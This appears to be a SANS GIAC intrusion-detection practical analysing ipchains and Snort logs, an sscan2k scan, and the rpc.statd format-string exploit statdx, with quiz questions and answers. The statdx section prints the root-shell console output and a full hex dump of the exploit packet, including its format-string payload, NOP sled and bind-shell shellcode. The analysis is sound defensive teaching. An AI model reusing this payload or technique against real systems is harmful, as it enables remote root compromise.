4.10 Multple Choice Question

© SANS Institute 2000 - 2005 Author retains full rights.

```
Aug 14 17:40:18 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=41365 F=0x4000 T=115 SYN
Aug 14 17:40:21 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=26691 F=0x4000 T=115 SYN
Aug 14 17:40:27 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=16964 F=0x4000 T=115 SYN
Aug 14 17:40:39 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=41285 F=0x4000 T=115 SYN
```

In the above x86 Linux ipchains log, which of the IP identification numbers is anomalous?

a) 41365
b) 26691
c) 16964
d) 41285

Answer: a. the little-endian byte ordering requires we convert to hex and flip-flop. They become: a. 0x95a1, b. 0x4368, c. 0x4442, d. 0x45a1

Detect #5 - big fat sscan2k

```
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3914 good.guys.net.3:80 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3915 good.guys.net.3:111 L=60 S=0x00
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3916 good.guys.net.3:6000 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3917 good.guys.net.3:79 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3918 good.guys.net.3:53 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3919 good.guys.net.3:31337 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3920 good.guys.net.3:2766 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3921 good.guys.net.3:143 L=60 S=0x00
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3922 good.guys.net.3:139 L=60 S=0x00
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3923 good.guys.net.3:25 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3924 good.guys.net.3:21 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3926 good.guys.net.3:1114 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3927 good.guys.net.3:1 L=60 S=0x00 I=
/var/log/messages.2:Jul  7 08:47:52 bunta sshd[22106]: log: Connection from hakked.college.box.101 port 3925
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3920 good.guys.net.3:2766 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3921 good.guys.net.3:143 L=60 S=0x00
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3922 good.guys.net.3:139 L=60 S=0x00
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3923 good.guys.net.3:25 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3924 good.guys.net.3:21 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3926 good.guys.net.3:1114 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:55 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3927 good.guys.net.3:1 L=60 S=0x00 I=
/var/log/messages.2:Jul  7 08:48:01 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3924 good.guys.net.3:21 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:01 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3926 good.guys.net.3:1114 L=60 S=0x0
/var/log/messages.2:Jul  7 08:48:01 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3927 good.guys.net.3:1 L=60 S=0x00 I=
/var/log/messages.2:Jul  7 08:48:01 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3993 good.guys.net.3:23 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:01 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4 good.guys.net.3:25 L=40 S=0x00 I=39
/var/log/messages.2:Jul  7 08:48:04 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3993 good.guys.net.3:23 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:07 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4016 good.guys.net.3:80 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:07 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4017 good.guys.net.3:98 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:07 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4018 good.guys.net.3:1 L=60 S=0x00 I=
/var/log/messages.2:Jul  7 08:48:07 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4019 good.guys.net.3:25 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:07 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4020 good.guys.net.3:25 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4016 good.guys.net.3:80 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4017 good.guys.net.3:98 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4018 good.guys.net.3:1 L=60 S=0x00 I=
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4019 good.guys.net.3:25 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4020 good.guys.net.3:25 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3993 good.guys.net.3:23 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:10 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4046 good.guys.net.3:80 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:13 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4046 good.guys.net.3:80 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:48:13 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:4050 good.guys.net.3:80 L=60 S=0x00 I
```

Once again, this is an ipchains log. Refer to Detect #4 for fields description

5.1 Source of the detect

Firewall on a home network using PPPOE to an ADSL provider.

5.2 Tool or technique detect was generated by

IPCHAINS packetfiltering /masquerading firewall. Just as in Detect #4, the rule matched was:

```
input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 -i ppp0 -p 6 -j REJECT -l -y
```

5.3 Probability the source address was spoofed

Minimal probability. Replies to the SYN connection requests would have to return to the true source if the scan results are to be read. In order for the source address to be spoofed, the attacker would need to be strategically located on a network where he could sniff the packets in transit.

5.4 Description of attack

This scan cycled through a set of destination ports with multiple repeats of a subset several seconds later. This continued for 21 seconds with mostly 3 second gaps between scan sets. The port they were interested in were a mixture of known trojan horse listeners, common TCP service ports and information gathering TCP services. Without any noteable randomization of source port or IP id numbers, this appears to be a lightweight, simple tool.

CERT/CC has published an Incident Note IN-99-01 referring to a tool called sscan, a derivitave of mscan, which fits this attack profile quite closely. Lance also discusses sscan in his Know Your Enemy papers.

5.5 Attack mechanism

© SANS Institute 2000 - 2005 Author retains full rights.

Upon retreival of the tool & testing in the lab, the "new and improved" sscan2k (oooh, 2k) is a perfect fit for this pattern. This appears to be an "everything turned on" sscan2k run, which is the default. Of course, as it is available as source code to be built on the attacker's system, it can could be modified in any way desired, limitetd only by the imagination & skills of the user. Sscan2k is not only a portscanner, like nmap or strobe, but also will attempt a full connection in order to gather information on running services such as version and features. This provides the attcker with a simple, easy to read summary of what is vulnerable on a target system. Sscan2k will also attempt queso-style OS detection. Just shy of being point 'n click, sscan simplifies the target selection process, although it is terribly loud. It is highly unlikely that any organization with the slightest clue about network and systems security would fail to notice this activity. This makes it imperitive that the attacker seek to gain a measure of anonymity by bouncing through previous exploits before launching this highly boisterous tool. That was the case here. The admininistrator of the northern New England college who was the source of this particular traffic informed us that the scans on this particular network came from a computer lab machine, undoubtedly previously "rooted" by a student who then used it to launch a highly ambitious seige on our beloved Internet.

A little bit of ss2k basics from its own documentation:

```
THE COMMANDS:
 * symbolz *
$remoteip : the ip we're scanning
$localip : our ip =)

 * general commands: *
os[string] : check if the os is string
rpc[string] : check if the rpc service string is available
port[number] : check if the tcp port number is open
cgi[script] : check if the cgi script is available
sh[string] : executes system(string) after resolving symbols/variables
print[string] : prints "-<[ hostname: string" to stdout..
addvuln[string] : adds string to the global linked list of vulnerabilities
                found on the current host.  it's use is recommended over
                the print[] statement.
checkvuln[string] : searches the global linked list for a vulnerability
                    containing string.  For example, if the current box
                    was running phf, checkvuln[/cgi-bin/phf] would return
                    true, since the string "/cgi-bin/phf" is contained in
                    the string "/cgi-bin/phf is present on this host".
 * dialog commands: *
starttelnetdialog[port] : negotiate a telnet connection on specified port
starttcpdialog[port] : open a tcp connection to the specified port
send[data] : send data followed by a \r\n on the open socket connection
                made by starttelnetdialog or starttcpdialog. returns true
                if data is send successfully.
read[string] : check if the string is contained in data read off the open
                socket connection made by starttelnetdialog or
                starttcpdialog.  for example, if the command was:
                read[hello] and the string "hello world" was read
                off the socket, read[] would return true.
wait[number] : wait the specified number of seconds. always returns true.
enddialog : close the sockfd opened by either of the dialog init commands.
```

5.6 Correlations

This has not been seen prior on any of my networks, except for the test firing in the lab. Interstingly enough, at SANS Security DC 2000, Judy Novak presented Intrusion Detection - Shadow Style, and about halfway through the class, a slide was on the screen demonstrating this exact same pattern. I took particular notice, as I had just come downstairs from the terminal room after detecting the trace you see above on the previous break!

5.7 Evidence of Active Targeting

It is highly unlikely that this system was intentionally targeted, as there was no sign of prior activity, nor any follow-up. The administrator at the college also informed me that there had been many such reports of scanning originating from the system in question. Sscan2k will easily take host info from stdin, as well as config files or the commandline.

5.8 Severity

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	4	The system targeted was a firewall/DNS for a home network. Certainly not critical to any mission, except a little on-line research & gaming.
Lethality	3	Sscan2k can pinpoint vulnerabilities that would allow an attacker to choose the "exploit-du-jour" very quickly.
System Countermeasures	4	The only services offered on this system are sshd (TCP port 22), sendmail (TCP port 25), and dns (UDP port 53). Sendmail & named will not accept requests from the outside. All are regularly patched and audited.
Network Countermeasures	5	The firewall is masquerading as well as blocking all TCP connection requests except ssh and UDP traffic except dns replies to itself and the internal network.
Severity	(4+3) - (4+5) = **-2**	

5.9 Defense Recommendation

None additionally required for this network. If the intent was to drive the attcker away thoroughly frustrated, the firewall could be reconfigured to DENY silently, rather than REJECT incoming packets with ICMP unreachable messages, causing the sender's stack to wait until timeout for each and every sent packet.

5.10 Multple Choice Question

```
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3914 good.guys.net.3:80 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3915 good.guys.net.3:111 L=60 S=0x00
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3916 good.guys.net.3:6000 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3917 good.guys.net.3:79 L=60 S=0x00 I
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3918 good.guys.net.3:53 L=60 S=0x00 I
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3919 good.guys.net.3:31337 L=60 S=0x0
/var/log/messages.2:Jul  7 08:47:52 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 hakked.college.box.101:3920 good.guys.net.3:2766 L=60 S=0x0
```

In the above ipchains log, why were these packets rejected?

a) ICMP source quench
b) these services are identified in the firewall configuration file
c) SYN flag is set
d) IP don't fragment flag is set

Answer: c. all packets have the SYN flag set, matching input rule 3.

---

rpc.statd exploit

Aquisition

The analyzed code "statdx.c" was supplied by Securityfocus, as was searchable access to the Bugtraq postings:
http://www.securityfocus.com/data/vulnerabilities/exploits/statdx.c

Description

The rpc.statd is the NFS file lock status reporter. Its function is to track NFS connections with requests to the rpc.lockd. In the event of a server going down, the rpc.statd will attempt to reestablish those locks by communicating the server's status to the NFS client's lock manager.

There is a process of the rpc.statd which passes logging information using the syslog() function. The format string passed is user supplied data, with a UID:GID of 0:0, without any proper bounds checking. It is possible, and proven, that this buffer could be overflowed, placing executable code into the process address space and overwriting the process return address, forcing the execution of that code. This is commonly known as "smashing the stack". An excellent discussion on this theory and practice by Aleph One was published in Phrack #49.

- Here is the standard console output of an attack against a RedHat Linux 6.2 system running on a single Pentium II-400 server with all the goodies.

```
[root@lt1 /root]# ./statdx -d 0 10.0.1.158
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
clnt_call(): RPC: Timed out
A timeout was expected. Attempting connection to shell..
OMG! You now have rpc.statd technique!@#$!
total 73
drwxr-xr-x   17 root     root         1024 Aug 15 12:45 ./
drwxr-xr-x   17 root     root         1024 Aug 15 12:45 ../
drwxr-xr-x    2 root     root         2048 Aug 15 12:50 bin/
drwxr-xr-x    3 root     root         1024 Aug 15 13:37 boot/
drwxr-xr-x    6 root     root        34816 Aug 15 13:37 dev/
drwxr-xr-x   23 root     root         2048 Aug 15 13:37 etc/
drwxr-xr-x    5 root     root         4096 Aug 15 12:46 home/
drwxr-xr-x    4 root     root         3072 Aug 15 12:49 lib/
drwxr-xr-x    2 root     root        12288 Aug 15 12:45 lost+found/
drwxr-xr-x    4 root     root         1024 Aug 15 12:45 mnt/
drwxr-xr-x    2 root     root         1024 Aug 23  1999 opt/
dr-xr-xr-x   39 root     root            0 Aug 15 09:37 proc/
drwxr-x---    2 root     root         1024 Aug 15 13:25 root/
drwxr-xr-x    3 root     root         3072 Aug 15 12:50 sbin/
drwxrwxrwt    3 root     root         1024 Aug 15 13:37 tmp/
drwxr-xr-x   19 root     root         4096 Aug 15 12:46 usr/
drwxr-xr-x   18 root     root         1024 Aug 15 12:50 var/
uid=0(root) gid=0(root)
```

Network Trace

- Next follows a tcpdump trace with a tcpdump -X and then an Ethereal RPC breakout of the stack-smashing packet:

```
13:40:34.405187 192.168.222.12.926 > 10.0.1.158.111:  udp 56
13:40:34.426702 10.0.1.158.111 > 192.168.222.12.926:  udp 28
13:40:34.427456 192.168.222.12.927 > 10.0.1.158.931:  udp 1076
0x0000   4500 0450 0171 0000 4011 cad9 c0a8 de0c        E..P.q..@.......
0x0010   0a00 019e 039f 03a3 043c cc27 23fe 6f11        .........<.'#.o.
0x0020   0000 0000 0000 0002 0001 86b8 0000 0001        ................
0x0030   0000 0001 0000 0001 0000 0020 3999 8092        ...........9...
0x0040   0000 0009 6c6f 6361 6c68 6f73 7400 0000        ....localhost...
0x0050   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0060   0000 0000 0000 03e7 18f7 ffbf 18f7 ffbf        ................
0x0070   19f7 ffbf 19f7 ffbf 1af7 ffbf 1af7 ffbf        ................
0x0080   1bf7 ffbf 1bf7 ffbf 2538 7825 3878 2538        ........%8x%8x%8
0x0090   7825 3878 2538 7825 3878 2538 7825 3878        x%8x%8x%8x%8x%8x
0x00a0   2538 7825 3233 3678 256e 2531 3337 7825        %8x%236x%n%137x%
0x00b0   6e25 3130 7825 6e25 3139 3278 256e 9090        n%10x%n%192x%n..
0x00c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00d0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00e0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00f0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0100   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0110   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0120   9090 9090 9090 9090 9090 9090 9090 9090        ................
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
0x0130   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0140   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0150   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0160   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0170   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0180   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0190   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01d0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01e0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01f0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0200   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0210   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0220   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0230   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0240   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0250   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0260   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0270   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0280   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0290   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02d0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02e0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02f0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0300   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0310   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0320   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0330   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0340   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0350   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0360   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0370   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0380   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0390   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03c0   9090 9090 9090 9090 9090 31c0 eb7c 5989        ..........1..|Y.
0x03d0   4110 8941 08fe c089 4104 89c3 fec0 8901        A..A....A.......
0x03e0   b066 cd80 b302 8959 0cc6 410e 99c6 4108        .f.....Y..A...A.
0x03f0   1089 4904 8041 040c 8801 b066 cd80 b304        ..I..A.....f....
0x0400   b066 cd80 b305 30c0 8841 04b0 66cd 8089        .f....0..A..f...
0x0410   ce88 c331 c9b0 3fcd 80fe c1b0 3fcd 80fe        ...1..?.....?...
0x0420   c1b0 3fcd 80c7 062f 6269 6ec7 4604 2f73        ..?..../bin.F./s
0x0430   6841 30c0 8846 0789 760c 8d56 108d 4e0c        hA0..F..v..V..N.
0x0440   89f3 b00b cd80 b001 cd80 e87f ffff ff00        ................

Remote Procedure Call
    XID: 0x23fe6f11 (603877137)
    Message Type: Call (0)
    RPC Version: 2
    Program: STAT (100024)
    Program Version: 1
    Procedure: STAT (1)
    Credentials
        Flavor: AUTH_UNIX (1)
        Length: 32
        Stamp: 0x39998092
        Machine Name: localhost
            length: 9
            contents: localhost
            fill bytes: opaque data
        UID: 0
        GID: 0
        Auxiliary GIDs
    Verifier
        Flavor: AUTH_NULL (0)
        Length: 0
Status Service
    Program Version: 1
    Procedure: STAT (1)
    Data (1004 bytes)

13:40:36.428866 192.168.222.12.927 > 10.0.1.158.931:  udp 1076
13:40:38.438843 192.168.222.12.927 > 10.0.1.158.931:  udp 1076
13:40:45.459114 192.168.222.12.1034 > 10.0.1.158.39168: S 1472325143:1472325143(0) win 32120 <mss 1460,sackOK,timestamp 489845 0,nop,wscale 0> (DF)
13:40:45.460332 10.0.1.158.39168 > 192.168.222.12.1034: S 1378705407:1378705407(0) ack 1472325144 win 32120 <mss 1460,sackOK,timestamp 13525 489845,
13:40:45.460381 192.168.222.12.1034 > 10.0.1.158.39168: . ack 1 win 32120 <nop,nop,timestamp 489845 13525> (DF)
13:40:45.460620 192.168.222.12.1034 > 10.0.1.158.39168: P 1:20(19) ack 1 win 32120 <nop,nop,timestamp 489845 13525> (DF)
13:40:45.461736 10.0.1.158.39168 > 192.168.222.12.1034: . ack 20 win 32120 <nop,nop,timestamp 13525 489845> (DF)
13:40:45.502524 10.0.1.158.39168 > 192.168.222.12.1034: P 1:1025(1024) ack 20 win 32120 <nop,nop,timestamp 13529 489845> (DF)
13:40:45.502556 192.168.222.12.1034 > 10.0.1.158.39168: . ack 1025 win 32120 <nop,nop,timestamp 489849 13529> (DF)
```

As we saw in Detect #3 above, the statdx code employs an initial portmapper call to enumerate the port offering service 100024, the status daemon. The portmapper returns the anticipated reply: udp port 931. By the speed of the response, it appears that the shellcode was pregenerated and waiting for a destination. 7/10 ms later, the crafted packet is fired at the vulnerable service. A few interesting points here: note the emboldened hex values, they correspond to the emboldened explanations in the Ethereal breakout. As with all conventional rpc services, hostname, UID and GID are passed as credentials, and the rpc server implicitly trusts the authenticity of that. Nothing is stopping an attacker from spoofing a trusted host and passing those credentials to gain unauthorized use of services. The last 1004 bytes is the actual shellcode, overflowing the buffer as statd passes formatting to syslog(). The command evident at the end of the 1004 bytes of UDP data, /bin/sh, overwrites the address space occupied by rpc.statd and now, the PID remains the same, the process UID and GID remain the same, the only difference is what is actually executing. Oh, did I fail to mention: the /bin/sh has bound itself to TCP port 39168, how convenient!

© SANS Institute 2000 - 2005 Author retains full rights.

At 13:40:45.45, we see the tool establishing a TCP three-way handshake with the new port and returning all kinds of output to stdout: OMG! You now have rpc.statd technique!@#$! , and a very friendly ls -la.

Recommendations from Detect #3 are 100% applicable here, as with all rpc daemons. I would strongly advise NFS and all of its related utilities & services never be used without robust firewalling & monitoring. As portmapper-managed ports are dynamically assigned, it is difficult to firewall individual ports and may be more feasible to "deny all unless specifially allowed", at least on ports < 1024. On a system level, this version of the status daemon, as well as all network services, should be patched to the level specified by your vendor. Also consider replacing portmapper with Wietse Venema's portmap , which allows access control simplar to tcpwrappers, although a superior solution would be to link *all* rpc services against the securelib shared library.

Snort Detect Analysis

In the one month period surveyed, there are indications that there is considerable amount of activity between the internal boundries as well as across the external border(s). A few noteable bursts of activity will be cited here to illuminate.

With little information about network architecture and bonafide services available to both the Internet and intranet, it is difficult to segregate normal network resource interrelationships from potentially malicious activity. SNMP, the Simple Network Management Protocol is one such example. In the following trace, the potential exists for this to be nothing more than normal management traffic, but it is difficult to be certain:

```
SnortA14.txt:05/29-22:33:10.302500  [**] SNMP public access [**] MY.NET.97.183:1703 -> MY.NET.101.192:161
SnortA14.txt:05/29-22:34:13.202906  [**] SNMP public access [**] MY.NET.97.183:1704 -> MY.NET.101.192:161
SnortA14.txt:05/29-22:35:16.115466  [**] SNMP public access [**] MY.NET.97.183:1706 -> MY.NET.101.192:161
SnortA14.txt:05/29-22:36:18.683200  [**] SNMP public access [**] MY.NET.97.183:1707 -> MY.NET.101.192:161
SnortA14.txt:05/29-22:37:20.916039  [**] SNMP public access [**] MY.NET.97.183:1708 -> MY.NET.101.192:161
SnortA14.txt:05/29-22:38:23.096285  [**] SNMP public access [**] MY.NET.97.183:1710 -> MY.NET.101.192:161
SnortA17.txt:05/16-09:24:56.936732  [**] SNMP public access [**] MY.NET.97.12:1055 -> MY.NET.101.192:161
SnortA17.txt:05/16-09:25:00.586590  [**] SNMP public access [**] MY.NET.97.12:1058 -> MY.NET.101.192:161
SnortA17.txt:05/16-09:26:03.480560  [**] SNMP public access [**] MY.NET.97.12:1062 -> MY.NET.101.192:161
SnortA17.txt:05/16-09:27:03.837868  [**] SNMP public access [**] MY.NET.97.12:1065 -> MY.NET.101.192:161
SnortA17.txt:05/16-09:33:37.105535  [**] SNMP public access [**] MY.NET.97.12:1083 -> MY.NET.101.192:161
```

We will assume, by the volume of traffic to and from UDP port 53 on MY.NET.1.3 that it is the authoritative name server for this domain. As such, there are an unusually high number of attacks & scans logged coming from this host. Without evidence to the contrary, it appears that a "high-port scan" rule was responsible for this logging, although I believe this may be normal name resolution:

```
SnortS17.txt:Jun  1 13:03:34 MY.NET.1.3:53 -> MY.NET.101.89:42790 UDP
SnortS17.txt:Jun  1 13:03:35 MY.NET.1.3:53 -> MY.NET.101.89:42796 UDP
SnortS17.txt:Jun  1 13:03:35 MY.NET.1.3:53 -> MY.NET.101.89:42797 UDP
SnortS17.txt:Jun  1 13:03:35 MY.NET.1.3:53 -> MY.NET.101.89:42798 UDP
SnortS17.txt:Jun  1 13:03:35 MY.NET.1.3:53 -> MY.NET.101.89:42799 UDP
SnortS17.txt:Jun  1 22:53:51 63.166.66.22:1024 -> MY.NET.1.3:53 UDP
SnortS18.txt:Jun  7 00:15:51 MY.NET.1.3:53 -> MY.NET.101.89:47283 UDP
SnortS18.txt:Jun  7 00:15:52 MY.NET.1.3:53 -> MY.NET.101.89:47286 UDP
SnortS18.txt:Jun  7 00:15:52 MY.NET.1.3:53 -> MY.NET.101.89:47287 UDP
SnortS18.txt:Jun  7 00:15:52 MY.NET.1.3:53 -> MY.NET.101.89:47288 UDP
SnortS18.txt:Jun  7 00:15:52 MY.NET.1.3:53 -> MY.NET.101.89:47289 UDP
SnortS18.txt:Jun  7 00:15:53 MY.NET.1.3:53 -> MY.NET.101.89:47295 UDP
SnortS18.txt:Jun  7 00:15:53 MY.NET.1.3:53 -> MY.NET.101.89:47296 UDP
SnortS18.txt:Jun  7 00:15:53 MY.NET.1.3:53 -> MY.NET.101.89:47297 UDP
SnortS18.txt:Jun  7 00:15:53 MY.NET.1.3:53 -> MY.NET.101.89:47298 UDP
SnortS18.txt:Jun  7 01:40:37 207.155.184.72:47029 -> MY.NET.1.3:53 UDP
SnortS18.txt:Jun  7 05:49:15 MY.NET.1.3:53 -> MY.NET.101.89:48365 UDP
SnortS18.txt:Jun  7 05:49:16 MY.NET.1.3:53 -> MY.NET.101.89:48368 UDP
SnortS18.txt:Jun  7 05:49:17 MY.NET.1.3:53 -> MY.NET.101.89:48376 UDP
SnortS18.txt:Jun  7 05:49:17 MY.NET.1.3:53 -> MY.NET.101.89:48377 UDP
```

The next trace is certainly malicious traffic intended to identify vulnerable name servers. It appears that defenses held firm, as there is no evidence of any follow-on connections to these hosts.

```
SnortA11.txt:05/28-10:31:15.557890  [**] spp_portscan: PORTSCAN DETECTED from 155.230.152.165 (STEALTH) [**]
SnortA11.txt:05/28-10:20:49.555094  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.3:53
SnortA11.txt:05/28-10:20:49.567379  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.4:53
SnortA11.txt:05/28-10:20:49.591095  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.5:53
SnortA11.txt:05/28-10:31:15.659819  [**] spp_portscan: portscan status from 155.230.152.165: 3 connections across 3 hosts: TCP(3), UDP(0) STEALTH [*
SnortA11.txt:05/28-10:31:15.745067  [**] spp_portscan: End of portscan from 155.230.152.165 (TOTAL HOSTS:3 TCP:3 UDP:0) [**]
